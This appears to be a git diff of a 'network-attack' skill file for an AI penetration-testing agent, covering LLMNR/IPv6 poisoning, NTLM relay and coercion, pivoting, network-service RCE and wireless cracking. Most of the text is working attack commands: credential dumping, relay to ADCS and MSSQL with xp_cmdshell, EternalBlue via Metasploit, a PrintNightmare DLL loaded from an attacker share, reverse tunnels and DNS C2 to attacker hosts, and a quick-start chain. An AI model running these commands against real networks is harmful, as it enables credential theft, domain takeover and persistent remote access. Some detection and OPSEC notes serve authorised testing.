git:20260528.c57f98d to git:20260629.e082003

100 added, 429 removed. Audit A to A.

---

name: network-attack

- description: Network penetration testing — lateral movement, pivoting, protocol attacks, traffic interception, Active Directory exploitation, wireless attacks

+ description: Network protocol attacks & lateral movement — L2/L3 poisoning (LLMNR/mDNS, ARP/DHCP, IPv6 mitm6), coercion + NTLM relay (CVE-2025-33073 reflection), TUN-based pivoting (Ligolo-ng/Chisel), MitM/traffic interception, network-service RCE (CVE-2024-38077 MadLicense, CVE-2025-47981 NEGOEX), and WPA2/WPA3 wireless attacks

metadata:

type: offensive

phase: exploitation

- tools: nmap, responder, impacket, crackmapexec, bloodhound, mitm6, bettercap, chisel, ligolo-ng, kerbrute

+ tools: responder, mitm6, impacket, ntlmrelayx, netexec, bettercap, ligolo-ng, chisel, scapy, hcxdumptool, eaphammer, hashcat, certipy

+ mitre: TA0008

kill_chain:

- phase: [recon, actions]

- step: [1, 7]

- attck_tactics: [TA0043, TA0008, TA0007]

+ phase: [recon, exploit, actions]

+ step: [1, 4, 7]

+ attck_tactics: [TA0043, TA0008, TA0007, TA0006, TA0011]

+ attck_techniques: [T1557, T1557.001, T1557.003, T1187, T1040, T1210, T1090, T1090.001, T1090.002, T1572, T1071.004, T1021.006, T1599, T1110, T1556]

depends_on: [recon-osint]

- feeds_into: [active-directory-attack, privesc-linux, privesc-windows]

- inputs: [network_map, service_list]

- outputs: [lateral_movement_path, compromised_hosts]

+ feeds_into: [active-directory-attack, privesc-linux, privesc-windows, advanced-redteam]

+ inputs: [network_map, service_list, foothold_position]

+ outputs: [lateral_movement_path, compromised_hosts, captured_hashes, relay_targets, pivot_routes]

+ references:

+ - references/l2-attacks.md

+ - references/coercion-relay-network.md

+ - references/pivoting-tunneling.md

+ - references/mitm-interception.md

+ - references/protocol-rce.md

+ - references/wireless-attacks.md

+ scripts:

+ - scripts/responder_loot_parser.py

+ - scripts/mitm6_relay_launcher.sh

+ - scripts/vlan_hop.py

+ - scripts/relay_target_finder.py

+ - scripts/pivot_autoroute.sh

+ - scripts/bettercap_mitm.sh

+ - scripts/net_service_scan.py

+ - scripts/wifi_attack.sh

---

# Network Attack & Lateral Movement

## When to Activate

- - Internal network penetration testing

- - Active Directory domain compromise

- - Lateral movement after initial access

- - Network protocol exploitation

- - Wireless security assessment

- - Traffic interception and manipulation

- ## Active Directory Attacks

- ### Enumeration

- ```bash

- # BloodHound collection

- bloodhound-python -d $DOMAIN -u $USER -p $PASS -c all -ns $DC_IP

- # or SharpHound

- .\SharpHound.exe -c all --zipfilename output.zip

- # LDAP enumeration

- ldapsearch -x -H ldap://$DC_IP -D "$USER@$DOMAIN" -w "$PASS" -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName memberOf

- # Kerbrute user enumeration (no auth needed)

- kerbrute userenum --dc $DC_IP -d $DOMAIN users.txt

- # CrackMapExec

- crackmapexec smb $SUBNET/24 -u $USER -p $PASS --shares

- crackmapexec smb $DC_IP -u $USER -p $PASS --users

- crackmapexec smb $DC_IP -u $USER -p $PASS -M spider_plus

- ```

- ### Kerberos Attacks

- ```bash

- # AS-REP Roasting (no pre-auth required)

- impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DC_IP -format hashcat

- hashcat -m 18200 asrep_hashes.txt wordlist.txt

- # Kerberoasting (any domain user)

- impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -request

- hashcat -m 13100 tgs_hashes.txt wordlist.txt

- # Silver Ticket (service account NTLM hash)

- impacket-ticketer -nthash $NTLM -domain-sid $SID -domain $DOMAIN -spn $SPN $USER

- # Golden Ticket (krbtgt hash = domain compromise)

- impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $SID -domain $DOMAIN Administrator

- # Delegation abuse

- # Unconstrained: compromise server → extract TGTs from memory

- # Constrained: S4U2Self + S4U2Proxy to impersonate any user

- # RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity

- impacket-getST -spn $SPN -impersonate Administrator $DOMAIN/$MACHINE\$:$PASS

- ```

- ### Credential Harvesting

- ```bash

- # Responder (LLMNR/NBT-NS/mDNS poisoning)

- responder -I eth0 -wrf

- # NTLM relay

- impacket-ntlmrelayx -tf targets.txt -smb2support -i # interactive shell

- impacket-ntlmrelayx -tf targets.txt --delegate-access # RBCD attack

- # mitm6 (IPv6 DNS takeover)

- mitm6 -d $DOMAIN

- # Combined with ntlmrelayx for delegation

- # Credential dumping (post-compromise)

- impacket-secretsdump $DOMAIN/$USER:$PASS@$TARGET

- crackmapexec smb $TARGET -u $USER -p $PASS --lsa

- crackmapexec smb $TARGET -u $USER -p $PASS --ntds # DC only

- ```

- ### Privilege Escalation Paths

- ```

- # ACL abuse (BloodHound paths)

- # GenericAll → reset password, add to group, write SPN

- # GenericWrite → targeted kerberoasting, shadow credentials

- # WriteDACL → grant yourself GenericAll

- # WriteOwner → take ownership, then WriteDACL

- # ADCS (Active Directory Certificate Services)

- certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC_IP -vulnerable

- certipy req -u $USER@$DOMAIN -p $PASS -ca $CA -template $TEMPLATE -upn administrator@$DOMAIN

- certipy auth -pfx administrator.pfx -dc-ip $DC_IP

- ```

- ## Lateral Movement

- ### Techniques

- ```bash

- # PSExec (admin + SMB access)

- impacket-psexec $DOMAIN/$USER:$PASS@$TARGET

- impacket-psexec $DOMAIN/$USER@$TARGET -hashes :$NTLM

- # WMI execution

- impacket-wmiexec $DOMAIN/$USER:$PASS@$TARGET

- # Evil-WinRM (WinRM/5985)

- evil-winrm -i $TARGET -u $USER -p $PASS

- # DCOM execution

- impacket-dcomexec $DOMAIN/$USER:$PASS@$TARGET

- # Pass-the-Hash

- crackmapexec smb $TARGET -u $USER -H $NTLM -x "whoami"

- # Overpass-the-Hash (get Kerberos ticket from NTLM)

- impacket-getTGT $DOMAIN/$USER -hashes :$NTLM

- export KRB5CCNAME=user.ccache

- impacket-psexec $DOMAIN/$USER@$TARGET -k -no-pass

- ```

- ## Pivoting & Tunneling

- ```bash

- # Chisel (HTTP tunnel)

- # Server (attacker): chisel server --reverse -p 8080

- # Client (target): chisel client ATTACKER:8080 R:socks

- # Ligolo-ng (modern pivoting)

- # Proxy (attacker): ligolo-proxy -selfcert -laddr 0.0.0.0:11601

- # Agent (target): ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert

- # SSH tunneling

- ssh -D 9050 user@pivot # SOCKS proxy

- ssh -L 8080:internal:80 user@pivot # Local port forward

- ssh -R 4444:localhost:4444 user@pivot # Reverse port forward

- # proxychains configuration

- # socks5 127.0.0.1 1080

- proxychains nmap -sT -Pn $INTERNAL_TARGET

- ```

- ## Network Protocol Attacks

- ### ARP Spoofing / MitM

- ```bash

- # Bettercap

- bettercap -iface eth0

- > net.probe on

- > set arp.spoof.targets $TARGET_IP

- > arp.spoof on

- > net.sniff on

- > set http.proxy.sslstrip true

- > http.proxy on

- ```

- ### DNS Attacks

- ```bash

- # DNS zone transfer

- dig axfr @$NS $DOMAIN

- # DNS cache poisoning setup

- # Requires: predictable TXID or birthday attack on ports

- ```

- ### SMB Attacks

- ```bash

- # Null session enumeration

- smbclient -L //$TARGET -N

- rpcclient -U "" -N $TARGET -c "enumdomusers"

- # SMB signing disabled → relay attacks

- crackmapexec smb $SUBNET/24 --gen-relay-list relay_targets.txt

- ```

- ## Wireless Attacks

- ### WPA2 Cracking

- ```bash

- # Capture handshake

- airmon-ng start wlan0

- airodump-ng wlan0mon --bssid $BSSID -c $CHANNEL -w capture

- aireplay-ng -0 5 -a $BSSID wlan0mon # deauth to force handshake

- # Crack

- hashcat -m 22000 capture.hc22000 wordlist.txt

- # or

- aircrack-ng -w wordlist.txt capture-01.cap

- ```

- ### Evil Twin

- ```bash

- # hostapd-wpe for WPA Enterprise credential capture

- # Create AP with same SSID, stronger signal

- # Capture RADIUS credentials (MSCHAPv2 → crack with asleap)

- ```

- ### WPA Enterprise (802.1X)

- ```bash

- # EAP downgrade attacks

- # PEAP relay

- # Certificate impersonation

- hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

- # Captured credentials: asleap -C challenge -R response -W wordlist

- ```

- ## Advanced: NTLM Relay Chains

- ### Relay to LDAP/LDAPS (Shadow Credentials + RBCD)

- ```bash

- # Relay machine account NTLM auth to LDAP for RBCD or shadow creds

- # Requires: SMB signing disabled on source, LDAP signing not required on DC

- # Setup relay to LDAP with shadow credentials

- ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target 'TARGET$'

- # Result: certificate for TARGET$ → authenticate as TARGET$ → local admin

- # Setup relay to LDAP with RBCD

- ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user YOURUSER

- # Result: RBCD configured → S4U2Proxy → impersonate admin on TARGET

- # Coerce authentication (trigger the relay)

- python3 PetitPotam.py -d $DOMAIN -u $USER -p $PASS RELAY_IP TARGET_IP

- python3 printerbug.py $DOMAIN/$USER:$PASS@TARGET_IP RELAY_IP

- python3 DFSCoerce.py -d $DOMAIN -u $USER -p $PASS RELAY_IP TARGET_IP

- ```

- ### Relay to ADCS (ESC8)

- ```bash

- # Relay NTLM auth to ADCS HTTP enrollment endpoint

- # Get certificate for relayed machine account → authenticate as that machine

- # Terminal 1: Start relay

- ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support \

- --adcs --template DomainController

- # Terminal 2: Coerce DC authentication

- python3 PetitPotam.py RELAY_IP DC_IP

- # Terminal 3: Use captured certificate

- certipy auth -pfx dc01.pfx -dc-ip DC_IP

- # Returns NT hash of DC machine account → DCSync → full domain compromise

- impacket-secretsdump -hashes :DC_HASH $DOMAIN/'DC01$'@DC_IP

- ```

- ### Relay to MSSQL

- ```bash

- # Relay to SQL Server for command execution

- ntlmrelayx.py -t mssql://SQL_IP -smb2support -q "EXEC xp_cmdshell 'whoami'"

- # Chain: coerce → relay to MSSQL → xp_cmdshell → reverse shell

- # Or: relay → enable xp_cmdshell → execute payload

- ntlmrelayx.py -t mssql://SQL_IP --no-http-server -smb2support \

- -q "EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'powershell -enc ...'"

- ```

- ### Multi-Relay (Relay to Multiple Targets)

- ```bash

- # Relay single captured auth to multiple services simultaneously

- ntlmrelayx.py -tf targets.txt -smb2support -socks

- # Opens SOCKS proxy — use proxychains to interact with each relayed session

- # Use relayed sessions:

- proxychains crackmapexec smb TARGET -u '' -p '' --shares # uses relayed auth

- proxychains impacket-secretsdump $DOMAIN/''@TARGET # dump via relay

- ```

- ## Advanced: IPv6 Attacks

- ### mitm6 (IPv6 DNS Takeover)

- ```bash

- # Exploit Windows preferring IPv6 over IPv4

- # Become the IPv6 DNS server → respond to all queries → capture NTLM auth

- # Attack: mitm6 + ntlmrelayx

- # Terminal 1: IPv6 DNS poisoning

- mitm6 -d $DOMAIN -i eth0

- # Terminal 2: Relay captured auth

- ntlmrelayx.py -6 -t ldaps://DC_IP --delegate-access

- # Or: ntlmrelayx.py -6 -t smb://TARGET -smb2support

- # What happens:

- # 1. mitm6 advertises as IPv6 DNS via DHCPv6

- # 2. Victims configure attacker as DNS server

- # 3. Victims send DNS queries with NTLM auth (WPAD, etc.)

- # 4. ntlmrelayx captures and relays the auth

- # WPAD exploitation (automatic proxy discovery)

- mitm6 -d $DOMAIN --wpad-auth-url http://ATTACKER_IP/wpad.dat

- # Victims auto-authenticate to get proxy config → NTLM captured

- ```

- ### Dead Potato (IPv6 DCOM)

- ```bash

- # Local privilege escalation via IPv6 DCOM

- # Trigger SYSTEM NTLM auth to localhost via IPv6 DCOM activation

- # Relay to local named pipe for impersonation

- # Combines: IPv6 preference + DCOM activation + NTLM relay

- # Result: SYSTEM token from service account

- ```

- ## Advanced: Protocol-Specific Exploitation

- ### SMB Exploitation

- ```bash

- # EternalBlue (MS17-010) — still found in legacy environments

- nmap -p445 --script smb-vuln-ms17-010 $TARGET

- msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET; run"

- # SMBGhost (CVE-2020-0796) — SMBv3 compression

- # Remote code execution via integer overflow in srv2.sys

- # Affects Windows 10 1903/1909, Server 2019

- # PrintNightmare (CVE-2021-34527)

- # Remote code execution via Print Spooler

- # Load malicious DLL via AddPrinterDriverEx

- impacket-rpcdump $DOMAIN/$USER:$PASS@$TARGET | grep -i print

- # If MS-RPRN available:

- python3 CVE-2021-34527.py $DOMAIN/$USER:$PASS@$TARGET '\\ATTACKER\share\evil.dll'

- # Coerced authentication via MS-RPRN (PrinterBug)

- python3 printerbug.py $DOMAIN/$USER:$PASS@$TARGET LISTENER_IP

- ```

- ### LDAP Exploitation

- ```bash

- # LDAP passback attack (printer/device with LDAP config)

- # 1. Find device with LDAP authentication configured

- # 2. Change LDAP server to attacker IP

- # 3. Device sends credentials to attacker

- nc -lvnp 389 # Capture LDAP bind credentials

- # LDAP signing not required → relay attacks possible

- # Check: crackmapexec ldap DC_IP -u $USER -p $PASS -M ldap-checker

- # LDAP channel binding not required → relay over TLS

- # ntlmrelayx.py -t ldaps://DC_IP works without channel binding

- ```

- ### RDP Exploitation

- ```bash

- # RDP Man-in-the-Middle (when NLA disabled)

- # Use seth or rdp-sec-check to intercept credentials

- seth.sh eth0 $VICTIM_IP $DC_IP

- # BlueKeep (CVE-2019-0708) — pre-auth RCE

- # Affects Windows 7, Server 2008 R2

- nmap -p3389 --script rdp-vuln-ms12-020 $TARGET

- # RDP session hijacking (requires SYSTEM)

- # Hijack disconnected sessions without password

- query user # Find disconnected sessions

- tscon SESSION_ID /dest:console # Hijack as SYSTEM

- ```

+ - Internal network pentest from an unauthenticated wire position or initial foothold

+ - Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)

+ - Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)

+ - Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)

+ - Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)

+ - Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)

+ - Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)

+ - For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and

+ ticket/DCSync work, hand off to `active-directory-attack`.

- ### WinRM Exploitation

- ```bash

- # WinRM (5985/5986) — PowerShell remoting

- evil-winrm -i $TARGET -u $USER -p $PASS

- evil-winrm -i $TARGET -u $USER -H $NTLM # Pass-the-hash

+ ## Technique Map

- # WinRM relay

- ntlmrelayx.py -t http://TARGET:5985/wsman -smb2support --no-http-server

+ |-----------|--------|-----|-----------|--------|

+ | LLMNR/NBT-NS/mDNS poisoning (Responder) | T1557.001 | CWE-300 | references/l2-attacks.md | scripts/responder_loot_parser.py |

+ | ARP spoofing MitM | T1557.002 | CWE-300 | references/l2-attacks.md | scripts/bettercap_mitm.sh |

+ | DHCP starvation / rogue DHCP | T1557.003 | CWE-300 | references/l2-attacks.md | - |

+ | IPv6 takeover (mitm6 DHCPv6/DNS → relay) | T1557.001 | CWE-300 | references/l2-attacks.md | scripts/mitm6_relay_launcher.sh |

+ | STP root hijack / VLAN hopping (DTP, 802.1Q) | T1599 | CWE-284 | references/l2-attacks.md | scripts/vlan_hop.py |

+ | Coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV) | T1187 | CWE-294 | references/coercion-relay-network.md | scripts/relay_target_finder.py |

+ | NTLM relay (SMB/MSSQL/WinRM) | T1557.001 | CWE-294 | references/coercion-relay-network.md | scripts/relay_target_finder.py |

+ | NTLM reflection → SYSTEM (CVE-2025-33073) | T1187, T1557.001 | CWE-287 | references/coercion-relay-network.md | scripts/relay_target_finder.py |

+ | TUN pivoting (Ligolo-ng autoroute/multiplayer) | T1090.001 | CWE-923 | references/pivoting-tunneling.md | scripts/pivot_autoroute.sh |

+ | HTTP-SOCKS tunnel (Chisel) / SSH pivot | T1090.001, T1572 | CWE-923 | references/pivoting-tunneling.md | scripts/pivot_autoroute.sh |

+ | DNS tunneling (iodine/dnscat2) | T1071.004, T1572 | CWE-923 | references/pivoting-tunneling.md | - |

+ | Traffic interception / sslstrip / DNS spoof | T1557, T1040 | CWE-319 | references/mitm-interception.md | scripts/bettercap_mitm.sh |

+ | RDP/SSH/STARTTLS MitM & downgrade | T1557, T1185 | CWE-300 | references/mitm-interception.md | scripts/bettercap_mitm.sh |

+ | MadLicense RDL RCE (CVE-2024-38077) | T1210 | CWE-122 | references/protocol-rce.md | scripts/net_service_scan.py |

+ | NEGOEX wormable RCE (CVE-2025-47981) | T1210 | CWE-122 | references/protocol-rce.md | scripts/net_service_scan.py |

+ | RMCAST RCE (CVE-2025-21307) / RDS (CVE-2025-24035/45) | T1210 | CWE-787 | references/protocol-rce.md | scripts/net_service_scan.py |

+ | SMB EternalBlue (MS17-010) legacy | T1210 | CWE-119 | references/protocol-rce.md | scripts/net_service_scan.py |

+ | MSSQL xp_cmdshell / link crawl, WinRM, LDAP passback | T1210, T1021.006 | CWE-89 | references/protocol-rce.md | scripts/net_service_scan.py |

+ | WPA2 handshake/PMKID crack | T1110 | CWE-326 | references/wireless-attacks.md | scripts/wifi_attack.sh |

+ | WPA3-Transition downgrade (Dragonblood) | T1557 | CWE-757 | references/wireless-attacks.md | scripts/wifi_attack.sh |

+ | Evil-twin WPA-Enterprise (802.1X) cred capture | T1556 | CWE-295 | references/wireless-attacks.md | scripts/wifi_attack.sh |

- # Constrained Language Mode bypass via WinRM

- # If AppLocker/WDAC restricts PowerShell locally:

- # WinRM to same host bypasses local restrictions

- Enter-PSSession -ComputerName localhost -Credential $cred

- ```

+ ## Quick Start

- ### MSSQL Exploitation

```bash

- # MSSQL enumeration

- crackmapexec mssql $SUBNET/24 -u $USER -p $PASS

- # Command execution via xp_cmdshell

- impacket-mssqlclient $DOMAIN/$USER:$PASS@$TARGET

- SQL> enable_xp_cmdshell

- SQL> xp_cmdshell whoami

- # MSSQL link crawling (linked servers)

- # Hop through linked SQL servers for lateral movement

- SQL> SELECT * FROM openquery("LINKED_SERVER", 'SELECT * FROM openquery("NEXT_SERVER", ''xp_cmdshell whoami'')')

- # MSSQL → NTLM capture

- SQL> EXEC master..xp_dirtree '\\ATTACKER_IP\share'

- # Captures service account NTLM hash

- # MSSQL impersonation

- SQL> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

- SQL> EXECUTE AS LOGIN = 'sa'; EXEC xp_cmdshell 'whoami'

- ```

- ## Advanced: Segmentation Bypass

+ # 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes

+ responder -I eth0 -A # analyze (silent) first

+ responder -I eth0 -wd # poison LLMNR/NBT-NS/mDNS+WPAD

+ python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot

+ hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

- ### Double Pivoting

- ```bash

- # Scenario: Attacker → DMZ Host → Internal Network → Restricted Segment

+ # 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD

+ sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

- # Pivot 1: Attacker → DMZ

- # On DMZ host:

- chisel client ATTACKER:8080 R:1080:socks

+ # 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)

+ python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json

+ impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &

+ python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

- # Pivot 2: DMZ → Internal (through first pivot)

- # On internal host (reached via pivot 1):

- chisel client DMZ_HOST:9090 R:2080:socks

+ # 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)

+ python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

- # Chain proxies:

- # proxychains.conf:

- # socks5 127.0.0.1 1080 # first pivot

- # socks5 127.0.0.1 2080 # second pivot (through first)

+ # 5. PIVOT deeper (TUN, no proxychains)

+ bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601

+ # agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

- # Ligolo-ng (cleaner multi-pivot)

- # Proxy: ligolo-proxy -selfcert -laddr 0.0.0.0:11601

- # Agent 1 (DMZ): ligolo-agent -connect ATTACKER:11601

- # Add route: ip route add 10.10.0.0/16 dev ligolo

- # Agent 2 (Internal): ligolo-agent -connect DMZ_IP:11601

- # Add route: ip route add 172.16.0.0/16 dev ligolo

+ # 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)

+ sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon

+ sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

```

- ### VLAN Hopping

- ```bash

- # DTP (Dynamic Trunking Protocol) exploitation

- # If switch port in "dynamic desirable" mode:

- yersinia dtp -attack 1 -interface eth0

- # Creates trunk → access all VLANs

+ ## OPSEC & Detection (summary)

- # Double tagging (802.1Q)

- # Craft frame with two VLAN tags

- # Outer tag = native VLAN (stripped by first switch)

- # Inner tag = target VLAN (forwarded by second switch)

- scapy: sendp(Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=TARGET_VLAN)/IP(dst=TARGET)/ICMP())

- ```

+ |-----------|-----------------|--------------------------|------------|

+ | LLMNR/NBT-NS/mDNS poison | one host answers many names; 4624/4625 type-3 burst to a workstation | Sigma name-resolution-poisoning; disable LLMNR/NBT-NS via GPO | `-A` is silent; full mode answers everything — scope tight |

+ | mitm6 IPv6 takeover | rogue DHCPv6 (UDP 547); endpoint IPv6 DNS change; 4741 computer add | Zeek rogue-DHCPv6 rule; RA-Guard/DHCPv6-Guard | very loud (whole VLAN); set MachineAccountQuota=0; delete created acct/RBCD |

+ | NTLM reflection (CVE-2025-33073) | 4624/4648 NTLM logon to self; new AD DNS A record + coercion | Sigma self-NTLM-logon; marshalled-DNS detect (Jun-2025 patch) | needs signing:False; delete crafted DNS record; patch+signing both fix |

+ | Service RCE (MadLicense/NEGOEX/EternalBlue) | service crash/restart (SCM 7031); scanner fan-out 445/3389/1688 | crash telemetry; patch level; NSE smb-vuln | memory-corruption = DoS risk; never spray wormable; lab-validate, sign-off |

- ### DNS Tunneling for Exfiltration

- ```bash

- # Bypass network segmentation via DNS (usually allowed everywhere)

- # Server (attacker): iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

- # Client (target): iodine -f -P password tunnel.attacker.com

- # Creates tun interface — full IP connectivity over DNS

+ ## Deep Dives

- # dnscat2 (C2 over DNS)

- # Server: ruby dnscat2.rb tunnel.attacker.com

- # Client: ./dnscat --dns server=tunnel.attacker.com

- ```

+ - **references/l2-attacks.md** — LLMNR/NBT-NS/mDNS poisoning (Responder, WebDAV pivot, NTLMv1 downgrade), ARP/DHCP spoofing, IPv6 takeover (mitm6 + ntlmrelayx, 2025 resurgence), STP root hijack & VLAN hopping (DTP, 802.1Q double-tag).

+ - **references/coercion-relay-network.md** — Relay-surface mapping (SMB signing/EPA, RelayKing), coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV + RPC Filter), NTLM relay to SMB/MSSQL/WinRM, **CVE-2025-33073 NTLM reflection → SYSTEM**. Hands AD targets to `active-directory-attack`.

+ - **references/pivoting-tunneling.md** — Ligolo-ng (TUN/gVisor, autoroute, v0.8 multiplayer, double-pivot, ligolo-mp), Chisel HTTP-SOCKS, SSH `-D`/`-J`, DNS tunneling (iodine/dnscat2), proxychains chaining, tool-selection matrix.

+ - **references/mitm-interception.md** — bettercap inline MitM, sslstrip (HSTS limits), DNS spoof, RDP MitM (PyRDP/Seth, NLA), STARTTLS stripping, SSH TOFU MitM, cookie/session theft.

+ - **references/protocol-rce.md** — CVE-2024-38077 MadLicense (RDL), CVE-2025-47981 NEGOEX (wormable), CVE-2025-21307 RMCAST, CVE-2025-24035/45 RDS, MS17-010 EternalBlue, MSSQL xp_cmdshell/link crawl, WinRM, LDAP passback.

+ - **references/wireless-attacks.md** — WPA2 handshake/PMKID crack, WPA3-Transition downgrade (Dragonblood; DragonShift/eaphammer, 2024-2025 reproductions), evil-twin WPA-Enterprise MSCHAPv2 capture, hashcat workflows.